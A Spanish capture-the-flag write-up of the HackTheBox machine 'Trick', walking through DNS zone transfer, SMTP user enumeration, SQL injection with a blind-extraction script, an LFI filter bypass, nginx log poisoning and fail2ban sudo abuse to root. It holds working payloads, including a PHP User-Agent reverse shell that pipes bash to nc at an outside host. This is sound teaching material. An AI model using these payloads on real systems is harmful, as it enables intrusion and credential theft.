the_open_door
café
ESEN

Trick

HackTheBoxFácilLinux10.10.11.166

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dns-zone-transfer#smtp-user-enum#vhost-fuzzing#sqli#blind-sqli#lfi#path-traversal#log-poisoning#lfi-to-rce#fail2ban#sudo
TL;DR. Trick encadena varios fallos web clásicos. Una transferencia de zona DNS revela preprod-payroll.trick.htb; en su panel, un 'or 1=1-- - (SQLi) salta la autenticación y un boolean-based automatizado vuelca Enemigosss:SuperGucciRainbowCake. Un fuzzing de subdominios descubre preprod-marketing.trick.htb, vulnerable a un LFI que se salta el filtro de ../ con ....//. El LFI se convierte en RCE por envenenamiento del log de nginx (cabecera User-Agent), dando shell como michael. Por último, michael puede reiniciar fail2ban por sudo: editando su actionban para hacer /bin/bash SUID (abuso de fail2ban) se obtiene root.

Reconocimiento

Ping

ping -c 1 10.10.11.166

ping a 10.10.11.166: ttl=63 apunta a Linux

PING 10.10.11.166 (10.10.11.166) 56(84) bytes of data.
64 bytes from 10.10.11.166: icmp_seq=1 ttl=63 time=107 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Barrido UDP

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.166 | grep -v 'no-response'

nmap -sU descubriendo únicamente 53/udp domain con udp-response ttl 63

Initiating UDP Scan at 18:58
Discovered open port 53/udp on 10.10.11.166
Completed UDP Scan at 18:58, 0.58s elapsed (100 total ports)
Not shown: 5 closed udp ports (port-unreach)
PORT     STATE  SERVICE   REASON
53/udp   open   domain    udp-response ttl 63

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

Un único puerto UDP abierto, el 53 (DNS). Que una máquina exponga DNS ya es raro, y suele significar que resuelve nombres para algo: dominios internos, subdominios, virtual hosting. Se apunta como prioridad.

Escaneo de puertos

Barremos los 65535 puertos TCP para descubrir los abiertos y, sobre ellos, lanzaremos un escaneo dirigido de versiones (dos fases: descubrir rápido, luego perfilar).

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.166 -oG scan

nmap -p- descubriendo los puertos 22, 25, 53 y 80 abiertos, todos con syn-ack ttl 63 y 65531 cerrados

Initiating SYN Stealth Scan at 18:58
Discovered open port 25/tcp on 10.10.11.166
Discovered open port 80/tcp on 10.10.11.166
Discovered open port 53/tcp on 10.10.11.166
Discovered open port 22/tcp on 10.10.11.166
Completed SYN Stealth Scan at 18:58, 15.24s elapsed (65535 total ports)
Not shown: 65531 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
25/tcp open  smtp    syn-ack ttl 63
53/tcp open  domain  syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 15.34 seconds

Los 65531 restantes salen closed (responden con RST), no filtered: no hay cortafuegos descartando tráfico, simplemente no hay nada escuchando. El 53 aparece también en TCP, lo que confirma un servidor DNS completo (UDP para consultas normales, TCP para respuestas grandes y transferencias de zona).

extractPorts scan

extractPorts devolviendo IP Address 10.10.11.166 y Open ports 22,25,53,80

Extracting information...
IP Address: 10.10.11.166
Open ports: 22,25,53,80

Ports copied to clipboard
nmap -p22,25,53,80 -sCV 10.10.11.166

nmap -sCV: SSH, Postfix con VRFY, BIND 9.11 y nginx 1.14.2

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme

El detalle de versiones aporta dos pistas valiosas: el SMTP (Postfix) admite VRFY, un comando que sirve para preguntar si una cuenta existe (enumeración de usuarios del sistema), y el DNS es un BIND que puede permitir transferencias de zona.

TCP 80: la web es un señuelo

whatweb http://10.10.11.166

whatweb devolviendo 200 OK, Bootstrap, HTTPServer nginx/1.14.2 y el título "Coming Soon - Start Bootstrap Theme"

http://10.10.11.166 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.14.2], IP[10.10.11.166], Script, Title[Coming Soon - Start Bootstrap Theme], nginx[1.14.2]

Wappalyzer no añade nada: solo nginx 1.14.2, catalogado a la vez como servidor web y como proxy inverso, lo que sugiere que delante puede haber más de un virtual host.

La portada "Our Website is Coming Soon" con un formulario de suscripción; Wappalyzer detecta Nginx 1.14.2 como servidor web y como proxy inverso

El código fuente confirma que es una plantilla comprada sin personalizar:

El código fuente de la portada: la plantilla Start Bootstrap "Coming Soon" con comentarios de SB Forms y un data-sb-form-api-token con el valor literal API_TOKEN

<title>Coming Soon - Start Bootstrap Theme</title>
...
<!-- * * SB Forms Contact Form * *-->
<!-- This form is pre-integrated with SB Forms.-->
<!-- To make this form functional, sign up at-->
<!-- https://startbootstrap.com/solution/contact-forms-->
<!-- to get an API token!-->
<form id="contactForm" data-sb-form-api-token="API_TOKEN">

El data-sb-form-api-token="API_TOKEN" es el marcador de posición sin sustituir de la plantilla, no una fuga real. La web del 80 no es el vector; el foco vuelve al DNS.

DNS - TCP/UDP 53

Con un servidor DNS delante y sin saber qué dominio sirve, lo primero es una consulta inversa: preguntarle al propio servidor qué nombre corresponde a su IP.

nslookup
> server 10.10.11.166
> 10.10.11.166

nslookup en modo interactivo, fijando el servidor a 10.10.11.166 y resolviendo 166.11.10.10.in-addr.arpa al nombre trick.htb

> server 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 10.10.11.166
166.11.10.10.in-addr.arpa       name = trick.htb.

El mismo resultado con dig, que además muestra los registros de apoyo:

dig -x 10.10.11.166 @10.10.11.166

dig -x devolviendo el PTR trick.htb, el NS trick.htb y, en la sección adicional, A 127.0.0.1 y AAAA ::1

;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN  PTR   trick.htb.

;; AUTHORITY SECTION:
11.10.10.in-addr.arpa.     604800 IN  NS    trick.htb.

;; ADDITIONAL SECTION:
trick.htb.                 604800 IN  A     127.0.0.1
trick.htb.                 604800 IN  AAAA  ::1

Hay un detalle que conviene entender: el registro A de trick.htb apunta a 127.0.0.1, no a 10.10.11.166. Eso es normal en estas configuraciones, el DNS resuelve el nombre desde el punto de vista del propio servidor, y es la razón por la que el dominio hay que mapearlo a mano en /etc/hosts en lugar de dejar que el DNS lo resuelva.

nano /etc/hosts
cat /etc/hosts

/etc/hosts con la línea 10.10.11.166 trick.htb añadida

127.0.0.1       localhost
127.0.1.1       kali

10.10.11.166    trick.htb

Con el dominio, se prueba una transferencia de zona (AXFR), que es pedirle al DNS la zona entera de golpe. Solo debería permitirse a servidores secundarios declarados:

dig axfr trick.htb @10.10.11.166

dig axfr revela el subdominio preprod-payroll.trick.htb

trick.htb.                  604800  IN  SOA   trick.htb. root.trick.htb. ...
trick.htb.                  604800  IN  NS    trick.htb.
trick.htb.                  604800  IN  A     127.0.0.1
preprod-payroll.trick.htb.  604800  IN  CNAME trick.htb.

La transferencia funciona y filtra el subdominio preprod-payroll.trick.htb, que también va al /etc/hosts:

/etc/hosts con trick.htb y preprod-payroll.trick.htb apuntando a la misma IP

10.10.11.166    trick.htb    preprod-payroll.trick.htb

SMTP - TCP 25

En paralelo, aprovechamos el VRFY que anunciaba nmap. No hay herramienta que haga falta: un nc que envíe EHLO, VRFY <usuario> y QUIT, y que mire el código de respuesta. Un 252 significa que la cuenta existe.

cat smtp_userenum.sh

El script smtp_userenum.sh, que itera el diccionario xato-net-10-million-usernames.txt lanzando VRFY por nc en bloques de 400 hilos y guarda los usuarios que devuelven 252

#!/bin/bash

userfile="/home/krmena/SecLists/Usernames/xato-net-10-million-usernames.txt"
userlist=smtp_userlist.txt

max_threads=400
counter=0

while read -r user; do
    (
        response=$(echo -e "EHLO test\nVRFY $user\nQUIT" | nc 10.10.11.166 25 | tail -n 2 | head -n 1 | awk '{print $1}')

        if [ "$response" = "252" ]; then
            echo -e "${yellowColour}[+]${endColour} ${blueColour}User '$user' exists${endColour}"
            echo "$user" >> $userlist
        fi
    ) &

    counter=$((counter+1))
    if [ "$counter" -ge "$max_threads" ]; then
        wait
        counter=0
    fi
done < "$userfile"

wait

El bloque de max_threads no es adorno: cada consulta tarda unos cinco segundos porque nc espera a que el servidor cierre, así que en serie el diccionario tardaría semanas. Lanzando 400 en paralelo y esperando por bloques, baja a minutos.

./smtp_userenum.sh

enumeración SMTP VRFY: michael, mail, root, news, man, bin, games

[+] User 'michael' exists
[+] User 'root' exists
[+] User 'man' exists
[+] User 'games' exists

La mayoría son cuentas de sistema de cualquier Debian (mail, news, man, bin, games), pero michael no lo es: es un usuario real, y ese nombre reaparecerá más adelante.

TCP 80: fuzzing del dominio principal

Antes de saltar al subdominio, cerramos el dominio principal:

dirsearch -u http://trick.htb/ --exclude-status=403,404

dirsearch sobre trick.htb devolviendo solo tres redirecciones 301 a /js, /assets y /css

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://trick.htb/

[13:31:16] Starting:
[13:31:18] 301 -  185B - /js  →  http://trick.htb/js/
[13:31:43] 301 -  185B - /assets  →  http://trick.htb/assets/
[13:31:52] 301 -  185B - /css  →  http://trick.htb/css/

Task Completed

Solo los tres directorios de una plantilla estática. Aun así descargamos el sitio y buscamos por contenido, que es donde a veces aparece lo que el fuzzing no ve:

grep -riE 'dbpass|creds|password|trick|pass|user' --text .

El grep recursivo devolviendo únicamente coincidencias de CSS (user-select) y comentarios de plantilla, sin ninguna credencial

./trick.htb/index.html:   <!-- This is what your users will see when the form-->
./trick.htb/css/styles.css:   -webkit-user-select: none;
./trick.htb/css/styles.css:   -moz-user-select: none;
./trick.htb/css/styles.css:   user-select: none;
...

Todos los aciertos son ruido: propiedades CSS user-select y comentarios de la plantilla. Ni una credencial. El dominio principal queda cerrado.

Acceso al panel: SQL injection

Bypass de autenticación

preprod-payroll.trick.htb muestra un Recruitment Management System con login. Lo primero, descartar lo trivial:

El panel de login de preprod-payroll.trick.htb con admin:admin y el mensaje rojo "Username or password is incorrect."

Username or password is incorrect.

admin:admin falla, pero el mensaje es informativo: la aplicación consulta una base de datos para validar, y ese es exactamente el sitio donde probar una inyección. El clásico payload de SQL injection:

'or 1=1-- -

El mismo formulario con 'or 1=1-- - escrito en el campo Username

La lógica es simple: si la consulta original es SELECT * FROM users WHERE username='<entrada>' AND password='<entrada>', la comilla cierra la cadena, or 1=1 hace la condición siempre cierta y -- - comenta el resto (incluida la comprobación de la contraseña). El servidor devuelve la primera fila de la tabla, que es el administrador:

dashboard del Recruitment Management System como Administrator tras el SQLi

SQLi ciega booleana automatizada

Estar dentro del panel es útil, pero la inyección da mucho más. Comparando la respuesta ante una condición verdadera y una falsa, el servicio devuelve 1 cuando es cierta y 3 cuando es falsa: una inyección ciega booleana:

curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or 1=1-- -&password='test'"   # -> 1
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or 1=3-- -&password='test'"   # -> 3

respuestas 1 (verdadero) y 3 (falso) confirmando la SQLi booleana

1
3

Ese oráculo de un solo carácter es todo lo que hace falta. Lo comprobamos con una consulta real, comparando el primer carácter del nombre de la base de datos:

curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or (select substring(database(),1,1))='p'-- -&password='test'"
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or (select substring(database(),1,1))='g'-- -&password='test'"

Las dos peticiones: con 'p' el servidor responde 1 y con 'g' responde 3, confirmando que el primer carácter de la base de datos es p

# substring(database(),1,1) = 'p'   →  1   (cierto)
# substring(database(),1,1) = 'g'   →  3   (falso)

Con 'p' responde 1 y con 'g' responde 3: el primer carácter es una p. Repetir eso por cada posición y cada carácter posible es lo que automatiza el script en Python: dos bucles anidados (posición y carácter) que van concatenando el resultado y lo pintan con una barra de progreso de pwn.

for position in range(1, 60):
    for character in characters:
        post_data = {
            'username': "' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s'-- -" % (position, character),
            'password': 'test'
        }
        r = requests.post(login_url, data=post_data)
        if r.text == "1":
            result += character
            p2.status(result)
            break
python3 sqli.py

El script volcando los nombres de las bases de datos: information_schema,payroll_db

[^] SQLi: ' or substring((select group_concat(schema_name) from information_schema.schemata),32,1)='v'-- -
[0] SQLi: information_schema,payroll_db

La base de datos de la aplicación es payroll_db. Cambiando la consulta del script (misma mecánica, distinta fuente) salen las tablas:

' or hex(substring((select group_concat(table_name) from information_schema.tables where table_schema='payroll_db'),%d,1))=hex('%s')-- -

El script volcando las tablas de payroll_db: position, employee, department, payroll_items, attendance, employee_deductions, employee_allowances, users, deductions, payroll

[w] SQLi: ' or hex(substring((select group_concat(table_name) from information_schema.tables where table_schema='payroll_db'),119,1))=hex(',')-- -
[d] SQLi: position,employee,department,payroll_items,attendance,employee_deductions,employee_allowances,users,deductions,payroll,

El envoltorio en hex() a ambos lados no es capricho: evita problemas con la comparación de mayúsculas y minúsculas (MySQL compara cadenas sin distinguir por defecto) y con caracteres que romperían la comilla. De las diez tablas, la que interesa es users. Sus columnas:

' or hex(substring((select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name='users'),%d,1))=hex('%s')-- -

El script volcando las columnas de la tabla users: id, doctor_id, name, address, contact, username, password, type

[ ] SQLi: ' or hex(substring((select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name='users'),58,1))=hex('T')-- -
[/] SQLi: id,doctor_id,name,address,contact,username,password,type

Y con name, username y password localizadas, los registros:

' or hex(substring((select group_concat(name,':',username,':',password) from users),%d,1))=hex('%s')-- -

el script vuelca Administrator:Enemigosss:SuperGucciRainbowCake

[+] SQLi: Administrator:Enemigosss:SuperGucciRainbowCake

Un solo usuario, y la contraseña en claro (ni siquiera hasheada).

La misma contraseña, sin SQLi

Merece la pena enseñar el atajo, porque el mismo dato estaba a dos clics dentro del panel. La pestaña Users lista al único usuario y ofrece un botón de edición:

La pestaña Users del panel mostrando la fila Administrator / Enemigosss con el menú Action desplegado sobre la opción Edit

El modal "Edit User" con Name Administrator, Username Enemigosss y el campo Password relleno pero oculto tras puntos

El campo de contraseña viene relleno, pero oculto tras el type="password" del HTML. Esa ocultación es puramente visual: el valor ya está en el DOM del navegador, así que quitando el atributo desde el inspector aparece en claro.

el inspector revela la contraseña en claro al quitar type=password

Coincide con la que sacó la SQLi. La guardamos:

echo 'Enemigosss:SuperGucciRainbowCake' > creds.txt
cat creds.txt

El fichero creds.txt con la línea Enemigosss:SuperGucciRainbowCake

Enemigosss:SuperGucciRainbowCake

Shell como michael

Más subdominios: vhost fuzzing

El prefijo preprod- sugiere que hay más entornos de preproducción y que la transferencia de zona solo declaraba uno. Un fuzzing de la cabecera Host mantiene el prefijo y prueba el resto:

wfuzz -u 'http://trick.htb' -H 'Host: preprod-FUZZ.trick.htb' \
  -w directory-list-2.3-big.txt -t 200 --hh=5480,173

wfuzz descubre el subdominio preprod-marketing

ID          Response   Lines    Word     Chars     Payload
000000566:  200        178 L    631 W    9660 Ch   "marketing"

El --hh=5480,173 filtra por longitud de respuesta: 5480 caracteres es la portada por defecto (lo que devuelve nginx ante un Host desconocido) y 173 la respuesta de error. Sin ese filtro, las 220000 peticiones habrían devuelto 220000 falsos positivos. preprod-marketing se sale de ambos tamaños con 9660 caracteres.

nano /etc/hosts
cat /etc/hosts

/etc/hosts con los tres nombres: trick.htb, preprod-payroll.trick.htb y preprod-marketing.trick.htb

10.10.11.166    trick.htb    preprod-payroll.trick.htb    preprod-marketing.trick.htb

LFI con bypass de ../

El nuevo subdominio es una web corporativa, y su navegación delata algo interesante: cada sección se carga con un parámetro page.

El sitio preprod-marketing con la URL index.php?page=services.html marcada y la pestaña SERVICES seleccionada

Un parámetro que recibe un nombre de fichero y lo incluye es candidato inmediato a Local File Inclusion. El primer intento, con el ../ de siempre, no devuelve nada:

La URL index.php?page=../../../../etc/passwd cargando una página completamente en blanco

Página en blanco, no un error. Eso normalmente significa que el ../ se está filtrando, no que el parámetro sea seguro. La pregunta es cómo se filtra: si el saneado es un str_replace('../','') de una sola pasada, basta con anidar el patrón. Con ....//, al eliminar el ../ del centro queda ../ otra vez.

curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd' --path-as-is

El LFI con el bypass ....// devolviendo el /etc/passwd completo, terminando en michael:x:1001:1001::/home/michael:/bin/bash

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash

El --path-as-is de curl es imprescindible: sin él, curl normaliza la ruta y colapsa los ../ antes de enviar la petición, con lo que el payload nunca llegaría intacto al servidor.

Además del michael del final, el passwd confirma la pila que ya conocíamos (mysql, postfix, bind, todos coherentes con los puertos 25 y 53). Filtrando por las cuentas con shell real:

curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd' \
  --path-as-is | grep bash

el LFI lee /etc/passwd: root y michael con /bin/bash

root:x:0:0:root:/root:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash

Solo root y michael, el mismo nombre que había salido por SMTP. Dos fuentes independientes apuntando al mismo usuario.

LFI a RCE: envenenamiento del log de nginx

Con un LFI se podría intentar leer el id_rsa de michael, pero hay una vía más fiable. Wappalyzer sobre este subdominio confirma el dato que la hace posible: además de nginx, la aplicación es PHP.

Wappalyzer sobre preprod-marketing detectando Nginx 1.14.2 como servidor y proxy inverso, PHP como lenguaje, Bootstrap 4.4.1 y jQuery 3.4.1

Que sea PHP es la clave: el LFI no solo lee el fichero incluido, lo interpreta. Si conseguimos escribir código PHP en un fichero que podamos incluir, ese código se ejecutará. Y nginx escribe cada petición recibida en /var/log/nginx/access.log, incluyendo la cabecera User-Agent tal cual.

Primero comprobamos que el log es legible por el LFI:

curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log' --path-as-is

El LFI devolviendo el contenido de access.log con las peticiones previas desde 10.10.16.6, incluidos dos 404 del fuzzing

10.10.16.6 - - [12/Nov/2025:13:31:17 +0100] "GET / HTTP/1.1" 200 1837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET / HTTP/1.1" 200 1837 "-" "Mozilla/5.0 ..."
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET /Drv7zc HTTP/1.1" 404 199 "-" "Mozilla/5.0 ..."
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET /RG2Gkt HTTP/1.1" 404 199 "-" "Mozilla/5.0 ..."

Se lee, y además se ve el rastro de nuestro propio fuzzing (las dos rutas aleatorias con 404 son las que dirsearch usa para calibrar). Confirmado que el log es legible y que el User-Agent acaba dentro, dejamos nc a la escucha y envenenamos:

nc -nlvp 4444
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log' \
  -H "User-Agent: <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.6 4444 >/tmp/f');?>"

La petición con el payload PHP en el User-Agent; en la respuesta se ve el log con las peticiones anteriores ya escritas

10.10.16.6 - - [12/Nov/2025:14:19:54 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H
10.10.16.6 - - [12/Nov/2025:14:20:13 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H
8.15.0"
10.10.16.6 - - [12/Nov/2025:14:20:25 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H

Esta petición hace dos cosas a la vez: nginx apunta nuestro User-Agent malicioso en el log y el LFI incluye ese mismo log. La respuesta que vemos es la del log antes de escribir la línea nueva; basta volver a pedirlo para que el PHP recién escrito se interprete:

curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log'

reverse shell establecida como michael

michael@trick:/var/www/market$ whoami
michael

El payload usa un FIFO (mkfifo /tmp/f) en vez de un bash -i >& /dev/tcp/... porque exec() de PHP no hereda una TTY: el fifo hace de puente bidireccional entre nc y la shell.

La flag de usuario:

cat user.txt como michael

michael@trick:/var/www/market$ cat /home/michael/user.txt
ed45e92ac0dc32c574a9d6b22783c11b

Escalada de privilegios

Abuso de fail2ban por sudo

michael puede reiniciar fail2ban como root sin contraseña (abuso de fail2ban):

sudo -l

sudo -l: michael puede ejecutar /etc/init.d/fail2ban restart como root

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

fail2ban ejecuta una acción (actionban) cuando banea una IP, definida en /etc/fail2ban/action.d/iptables-multiport.conf. michael pertenece al grupo security y, aunque el fichero no es escribible directamente, sí puede sustituirlo: se copia, se edita el actionban para que ponga SUID a /bin/bash, se renombra el original y se coloca el modificado en su lugar:

cp action.d/iptables-multiport.conf /tmp/iptables-multiport.conf
# editar:  actionban = chmod u+s /bin/bash
mv action.d/iptables-multiport.conf action.d/iptables-multiport.bak
mv /tmp/iptables-multiport.conf action.d/iptables-multiport.conf

actionban editado a chmod u+s /bin/bash

michael@trick:/etc/fail2ban$ cat action.d/iptables-multiport.conf | grep actionban
# Notes.:  command executed once before each actionban command
# Option:  actionban
actionban = chmod u+s /bin/bash

El cat ... | grep actionban confirma que el fichero sustituido define actionban = chmod u+s /bin/bash.

Se aplica la configuración con el restart autorizado y se dispara el actionban provocando baneos (p. ej. un brute force SSH con hydra). Al ejecutarse la acción, /bin/bash queda SUID y bash -p conserva el euid=0 heredado en lugar de descartarlo (lo que bash hace por defecto al arrancar), dándonos root:

sudo /etc/init.d/fail2ban restart
hydra -l michael -P rockyou.txt ssh://10.10.11.166 -t 64 -I
ls -l /bin/bash      # -rwsr-xr-x ... root root
bash -p

/bin/bash con SUID y euid=0 tras bash -p

-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
bash-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)

La flag final:

cat root.txt con euid root

bash-5.0# cat /root/root.txt
6db358fdfa64b72f93a56824eb42ce8f

Cadena de ataque

TTL 63 (Linux) ─▶ UDP 53 + TCP 22/25/53/80
        │  nslookup/dig -x ─▶ trick.htb  │  AXFR ─▶ preprod-payroll
        ▼
  SMTP VRFY (script con 400 hilos) ─▶ michael
        │  payroll: SQLi 'or 1=1-- - ─▶ admin  (y el inspector da lo mismo)
        │  blind boolean SQLi ─▶ payroll_db.users ─▶ Enemigosss:SuperGucciRainbowCake
        ▼
  vhost fuzz ─▶ preprod-marketing ─▶ LFI (....// bypass, --path-as-is)
        │  Wappalyzer: PHP ─▶ el include INTERPRETA
        │  log poisoning (User-Agent en access.log)
        ▼
  shell michael ─▶ user.txt
        │  sudo /etc/init.d/fail2ban restart + actionban = chmod u+s /bin/bash
        ▼
  /bin/bash SUID ─▶ bash -p ─▶ root ─▶ root.txt

Lecciones aprendidas

  • No expongas transferencias de zona. Un AXFR abierto regala el mapa de subdominios internos (preprod-*), incluido el entorno de preproducción vulnerable. Restringir allow-transfer a los secundarios.
  • La zona no lo cuenta todo. El AXFR solo declaraba preprod-payroll; el subdominio que abre la máquina (preprod-marketing) apareció fuzzeando la cabecera Host. Una fuente de información no sustituye a la otra.
  • VRFY filtra usuarios. Dejar VRFY activo en SMTP permite enumerar cuentas del sistema (michael), base para fuerza bruta o para confirmar usuarios del LFI. Desactivarlo.
  • Un filtro de ../ que borra una sola pasada es trivial de saltar. ....// colapsa a ../ tras el reemplazo. Sanear con canonicalización real (realpath) y listas blancas, no con str_replace.
  • Una contraseña oculta con type="password" no está oculta. El valor ya viaja al navegador; el atributo solo cambia cómo se pinta. Nunca enviar al cliente un secreto que el cliente no deba ver.
  • LFI + PHP + logs legibles = RCE. El envenenamiento del log de nginx convierte una lectura de ficheros en ejecución, porque el include de PHP interpreta lo que lee. Restringir el acceso a logs y no incluir rutas controladas por el usuario.
  • fail2ban es un binario que ejecuta comandos como root. Dar restart por sudo, con sus ficheros de acción manipulables, equivale a root. Proteger action.d/ y no conceder control sobre servicios que ejecutan acciones arbitrarias.
Cheatsheet de comandos 15 comandos

Repaso rápido